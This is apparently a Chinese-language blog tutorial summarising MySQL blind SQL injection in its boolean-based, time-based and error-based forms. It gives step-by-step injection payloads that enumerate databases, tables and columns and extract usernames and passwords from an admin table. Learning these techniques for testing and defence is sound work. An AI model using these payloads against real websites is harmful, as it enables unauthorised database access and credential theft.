SQL注入之盲注簡單總結
發布於2019-07-19 19:22:22
分類專欄:
滲透
版權聲明:本文為博主原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接和本聲明。
編輯
<a class="href-article-edit slide-toggle">展開</a>
</div>
</div>
</div>
</div>
<article class="baidu_pl">
<!--python安裝手冊開始-->
<!--python安裝手冊結束-->
<!--####專欄廣告位圖文切換開始-->
<!--####專欄廣告位圖文切換結束-->
<div id="article_content" class="article_content clearfix">
<link rel="stylesheet" href="https://csdnimg.cn/release/phoenix/template/css/ck_htmledit_views-833878f763.css">
<div id="content_views" class="markdown_views prism-dracula">
<!-- flowchart 箭頭圖標 勿刪 -->
<svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
<path stroke-linecap="round" d="M5,0 0,2.5 5,5z" id="raphael-marker-block" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"></path>
</svg>
<h2><a name="t0"></a><a name="t0"></a><a id="Mysql_0"></a>Mysql盲注總結</h2>
- 什么是盲注?
盲注就是在sql注入過程中,sql語句執行的選擇后,選擇的數據不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。 - SQL盲注與SQL普通注入的區別?
普通注入是可以根據報錯提示,進行sql語句注入從而,直接爆出我們想要的信息,比如數據庫版本、數據庫名、用戶名、操作系統版本等;而盲注只能通過多次猜測,從而猜解出有用信息。相對來說sql盲注更加考驗安全人員的手注能力。 - SQL盲注分類:
Sql盲注可以簡單分為三類 :布爾盲注、延時盲注和報錯盲注
什么是布爾盲注?
布爾(Boolean)型是計算機里的一種數據類型,只有True(真)和False(假)兩個值。一般也稱為邏輯型。
頁面在執行sql語句后,只顯示兩種結果,這時可通過構造邏輯表達式的sql語句來判斷數據的具體內容。
- 1
- 2
布爾注入用到的函數:
mid(str,start,length) :字符串截取
ORD() :轉換成ascii碼
Length() :統計長度
version() :查看數據庫版本
database() :查看當前數據庫名
user() :查看當前用戶
- 1
- 2
- 3
- 4
- 5
- 6
布爾注入流程:
猜解獲取數據庫長度
' or length(database()) > 8 --+ :符合條件返回正確,反之返回錯誤
- 1
猜解數據庫名
'or mid(database(),1,1)= 'z' --+ :因為需要驗證的字符太多,所以轉化為ascii碼驗證
'or ORD(mid(database(),1,1)) > 100 --+ :通過確定ascii碼,從而確定數據庫名
- 1
- 2
猜解表的總數
'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2 --+ :判斷表的總數
- 1
猜解第一個表名的長度
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二個表)
- 1
- 2
猜解第一個表名
'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 0,1 ),1,1) = 'a' --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+
- 1
- 2
- 3
- 4
猜解表的字段的總數
'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+
- 1
猜解第一個字段的長度
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二個字段)
- 1
- 2
猜解第一個字段名
'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
- 1
- 2
- 3
猜解直接猜測字段名
' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+
- 1
猜解內容長度
假如已經知道字段名為 id username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
- 1
- 2
猜解內容
'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ASCII碼猜解
- 1
- 2
- 3
也可以直接猜測內容
'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456' --+
- 1
什么是延遲盲注?
提交對執行時間敏感的函數sql語句,通過執行時間的長短來判斷是否執行成功,比如:正確的話會導致時間很長,錯誤的話會導致執行時間很短,這就是所謂的延遲盲注
- 1
延遲盲注需要的函數:
Sleep() :延遲函數
If(condition,true,false) :條件語句
mid(str,start,length) :字符串截取
ORD() :轉換成ascii碼
Length() :統計長度
version() :查看數據庫版本
database() :查看當前數據庫名
user() :查看當前用戶
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
延遲注入流程:
獲取數據庫總數
' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5)) 如果數據庫總數等於7響應時間為0秒,如果不等於7 相應時間為5秒
- 1
猜解當前數據庫長度
' and sleep(if((length(database()) = 8),0,5))--+ //當前數據庫名長度為8
- 1
猜解當前數據庫名
' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+ //ascii碼115 就是 s
- 1
猜解當前數據庫表的總數
And sleep(if((注入語句),0,5)) //類似布爾注入推理即可 ,例如:
' And sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5))--+
- 1
- 2
猜解當前數據庫表的長度
根據布爾注入推理即可
猜解當前數據庫表名
猜解當前數據庫表的字段總數
猜解當前數據庫表的字段長度
猜解當前數據庫表的字段名
猜解內容
什么是報錯盲注?
基於報錯的盲注是通過輸入特定語句使頁面報錯,網頁中則會輸出相關錯誤信息,從而是我們得到想要的基本信息——數據庫名、版本、用戶名等,如下圖:
- 1
報錯注入又分為兩種爆錯類型:數據庫BUG報錯注入和數據庫函數報錯注入
利用數據庫BUG報錯注入需要的函數:
只要是count(),rand() ,group by 三個函數連用就會造成這種報錯
left(rand(),3) :不一定報錯
floor(rand(0)*2) :一定報錯
round(x,d) :x指要處理的數,d是指保留幾位小數
concat() :字符串拼接
- 1
- 2
- 3
- 4
- 5
利用函數報錯注入需要的函數:
Updatexml()
Exp()
Geometrycollection()
Polygon()
Multipoint()
Multilinestring()
Multipolygon()
等.....
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
利用數據庫bug報錯注入的流程
爆數據庫的兩種方法
' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx)
' union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3 from information_schema.columns group by xx
- 1
- 2
爆表名
' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+
- 1
爆字段
' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+
- 1
猜解內容
' and ORD(mid((select concat(username,"-----",password) from security.users limit 0,1),1,1)) =68 %23 //逐個猜解內容(詳情見布爾注入)
- 1
利用特定函數報錯注入的流程:
與利用報錯步驟相同,比如Updatexml()的注入語句如下:
' and 1=(updatexml(1,concat(0x3a,(select database() )),1))--+
- 1
</div>
<link href="https://csdnimg.cn/release/phoenix/mdeditor/markdown_views-b6c3c6d139.css" rel="stylesheet">
<div class="more-toolbox">
<div class="left-toolbox">
<ul class="toolbox-list">
<li class="tool-item tool-active is-like "><a href="javascript:;"><svg class="icon" aria-hidden="true">
<use xlink:href="#csdnc-thumbsup"></use>
</svg><span class="name">點贊</span>
<span class="count">1</span>
</a></li>
<li class="tool-item tool-active is-collection "><a href="javascript:;" data-report-click="{"mod":"popu_824"}"><svg class="icon" aria-hidden="true">
<use xlink:href="#icon-csdnc-Collection-G"></use>
</svg><span class="name">收藏</span></a></li>
<li class="tool-item tool-active is-share"><a href="javascript:;"><svg class="icon" aria-hidden="true">
<use xlink:href="#icon-csdnc-fenxiang"></use>
</svg>分享</a></li>
<!--打賞開始-->
<!--打賞結束-->
</ul>
</div>
</div>
<div class="person-messagebox">
<div class="left-message"><a href="https://blog.csdn.net/qq_42477007">
<img src="https://profile.csdnimg.cn/2/7/4/3_qq_42477007" class="avatar_pic" username="qq_42477007">
<img src="https://g.csdnimg.cn/static/user-reg-year/2x/2.png" class="user-years">
</a></div>
<div class="middle-message">
<div class="title"><span class="tit"><a href="https://blog.csdn.net/qq_42477007" data-report-click="{"mod":"popu_379"}" target="_blank">Zane·S</a></span>
</div>
<div class="text"><span>發布了15 篇原創文章</span> · <span>獲贊 19</span> · <span>訪問量 4020</span></div>
</div>
</div>
</div>
</article>